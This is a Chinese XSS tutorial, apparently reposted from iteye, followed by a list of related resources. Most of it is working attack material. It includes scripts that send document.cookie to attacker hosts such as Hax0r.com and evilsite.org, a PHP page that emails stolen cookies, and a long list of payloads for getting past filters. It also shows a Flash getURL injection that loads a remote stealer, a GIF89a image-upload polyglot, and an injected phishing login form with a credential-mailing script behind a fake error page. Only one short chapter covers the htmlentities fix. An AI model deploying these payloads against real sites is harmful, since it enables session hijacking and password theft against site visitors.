跨站脚本攻击XSS攻击与防范指南文章目录XSS攻击与防范指南... 1第一章、XSS的定义... 1第二章、XSS漏洞代码... 1第三章、利用XSS盗取cookies. 3第四章、防范XSS漏洞... 4第四章、XSS攻击方法... 4第六章、利用Flash进行XSS攻击... 6第七章、上传文件进行XSS攻击... 7第八章、利用XSS漏洞进行钓鱼... 7第一章、XSS的定义从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。这些XSS跨站脚本漏洞可能是:*网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。*网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。*信任站点(特权区域)存在跨站脚本漏洞一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。第二章、XSS漏洞代码打开记事本,复制下面的代码到几时本中:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style><title>Simple XSS vulnerability by Xylitol</title><body><form action="XSS.php" method="post"><p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p><div align="center"> <table width="270" border="0"> <tr> <td width="106"><strong>Search:</strong></td> <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td> </tr> </table> <table width="268" border="0"> <tr> <td width="262"><div align="center"> <input name="submit" type="submit" value=" Search it ! " /> </div></td> </tr> </table> </div></form></body></html>然后,保存这个页面为index.html。并去复制下面的代码到记事本:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Search result:</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><body><span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong></body></html>保存为Xss.php,关闭记事本。用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。然后重新在搜索框里输入<script>alert('XSS')</script>,单击发送。这时候页面会弹出一个提示窗口。这就是跨站脚本漏洞。第三章、利用XSS盗取cookies在一个有漏洞的页面插入下面的代码,例如一个留言本里<script>window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);</script>(www.Hax0r.com = 攻击者的网站)用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Error</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><? mail('email@example.com', 'Cookie stealed ! - thx xyli',
$cookies); ?><body><h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2></body></html>这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。第四章、防范XSS漏洞如何修复这个漏洞呢?我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行:<body><span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong></body>为:<body><span class="alerte">Search result :</span> <strong><?phpif(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong></body>还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。第四章、XSS攻击方法利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……图片攻击:<IMG SRC="http://hax0r.com/Haxored.png">或者视频flash:<EMBED SRC= http://hax0r.com/Haxored.swf还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />绕过过滤进一步发现XSS事实上绕过htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"><META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">'">><marquee><h1>XSS</h1></marquee>'">><script>alert('XSS')</script>'>><marquee><h1>XSS</h1></marquee>"><script alert(String.fromCharCode(88,83,83))</script><iframe<?php echo chr(11)?> onload=alert('XSS')></iframe><divstyle="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))">window.alert("Xyli !");"/></a></><img src=1.gif onerror=alert(1)>[color=red']mouse over<body<body>click me<script language="JavaScript">alert('XSS')</script><img src="javascript:alert('XSS')">'); alert('XSS<font style='color:expression(alert(document.cookie))'><IMG DYNSRC=\"javascript:alert('XSS')\"><IMG LOWSRC=\"javascript:alert('XSS')\"></textarea><script>alert(/xss/)</script></title><script>alert(/xss/)</script><script src=http://yoursite.com/your_files.js></script>"><script>alert(0)</script><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=\"jav
ascript:alert('XSS');\"><IMG SRC=\"jav
ascript:alert('XSS');\"><IMG SRC=\"jav	ascript:alert('XSS');\"><marquee><script>alert('XSS')</script></marquee><? echo('<scr)';echo('ipt>alert(\"XSS\")</script>'); ?><IMG SRC=\"jav
ascript:alert('XSS');\"><IMG SRC=\"jav	ascript:alert('XSS');\"><marquee><script>alert('XSS')</script></marquee><style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style><img src=foo.png onerror=alert(/xssed/) /><script>alert(String.fromCharCode(88,83,83))</script><scr<script>ipt>alert('XSS');</scr</script>ipt><script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script><script src="http://www.evilsite.org/cookiegrabber.php"></script><script>alert('XSS');</script><script>alert(1);</script>这里并不包含了所有的攻击方法,Google是你的好朋友,可以通过它找到更多的方法。第六章、利用Flash进行XSS攻击Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:getURL(url:String, [window: String,[method:String]])例如:getURL("http://victime.com/login.php?logout=true","_self");该函数的各个参数为:url: 重定向的网站urlwindow: 设置重定向的窗口打开方式 (_self, _blank…)method: 请求页面的方式 GET 或者 POST下面运用actionscrip来弹出警告窗口的方法:getURL("javascript:alert('XSS'");在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:getURL("javascript:alert(document.cookie)")在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中盗取cookies。但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");Haxored.js中的代码如下:document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;当然最为简单的安全解决方案就是不要在网站中使用flash。第七章、上传文件进行XSS攻击在画图工具里创建一个Haxored.gif图片,然后用记事本打开它,删除所有行并插入下面的内容:GIF89a<script>alert("XSS")</script>保存并关闭它。然后把Haxored.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于Internet
explorer浏览器。为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>要了解其他图片格式的文件代码,只需要使用文件编辑器打开.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNGPNG = ‰PNGGIF = GIF89aJPG = ÿØÿà JFIFBMP = BMFÖ为了安全不能仅仅依靠getimagesize()函数来检查图片。第八章、利用XSS漏洞进行钓鱼你了解钓鱼(phishing)的目的吗?你了解XSS的目的吗?在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:<p>Enter your login and password, thank:</p><form action="http://hax0r.com/mail.php"><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value= OK ></form>你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Error</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><?php$login = $HTTP_GET_VARS["login"];$password = $HTTP_GET_VARS["password"];mail("email@example.com", "Cookie stealed ! - thx xyli",
$password , $login );?><body><h2><strong>Error</strong> -<strong> Server too much busy</strong></h2></body></html>用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么,我相信你已经明白这个道理了?
转自:http://www.iteye.com/topic/754330
分享到:
相关推荐
XSS跨站脚本攻击在Java开发中防范的方法
web安全技术-实验七、跨站脚本攻击(xss)(反射型)
XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...
xss跨站脚本攻击与预防.rar,包含《XSS跨站脚本攻击剖析与防御(完整版).pdf》 与 xss-html-filter-master.zip 针对跨站脚本有详细说明与预防工具
XSS跨站脚本攻击
XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...
XSS跨站脚本攻击剖析与防御.docx
跨站脚本攻击交流的ppt,可参考 ppt
xss跨站脚本攻击汇总,可以学习一下啊,比较全面了
XSS跨站脚本攻击剖析与防御 文字版 epub格式
51CTO下载-XSS跨站脚本攻击剖析与防御(完整版)
NULL 博文链接:https://gqsunrise.iteye.com/blog/2214704
首先,跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截。针对非法的HTML代码包括单双引号等,可以使用htmlentities() 。
XSS跨站脚本攻击剖析与防御(完整版).part2
描述了一些xss跨站脚本攻击的原理以及预防。
XSS跨站脚本攻击和防范
对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。 数据来源:2007 OWASP Top 10的MITRE数据 注:OWASP是世界上最知名的Web安全与数据库安全研究组织 ...
Web应用的安全攻防之跨站脚本攻击(XSS)Web应用的安全攻防之跨站脚本攻击(XSS)